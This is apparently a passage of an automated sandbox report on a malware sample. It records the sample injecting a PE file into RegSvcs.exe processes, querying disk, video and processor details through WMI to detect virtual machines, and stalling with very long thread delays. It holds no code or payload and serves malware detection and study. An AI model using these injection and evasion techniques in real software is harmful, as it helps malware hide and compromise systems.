Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: yGu4YUwMl6.exe PID: 7276, type: MEMORYSTR

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Memory allocated: 23D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Memory allocated: 2620000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Memory allocated: 2570000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Memory allocated: 89B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Memory allocated: 99B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Memory allocated: 9BC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Memory allocated: ABC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Memory allocated: AFE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Memory allocated: BFE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Memory allocated: CFE0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 2674			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 4121			Jump to behavior

Source: C:\Users\user\Desktop\yGu4YUwMl6.exe TID: 7296

Thread sleep time: -922337203685477s >= -30000s

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: RegSvcs.exe, 00000003.00000002.1868243406.0000000000A77000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllT

Source: C:\Users\user\Desktop\yGu4YUwMl6.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\yGu4YUwMl6.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\yGu4YUwMl6.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\yGu4YUwMl6.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\yGu4YUwMl6.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 402000	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 41A000	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 41C000	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 780008	Jump to behavior

Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"			Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"			Jump to behavior

Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Users\user\Desktop\yGu4YUwMl6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
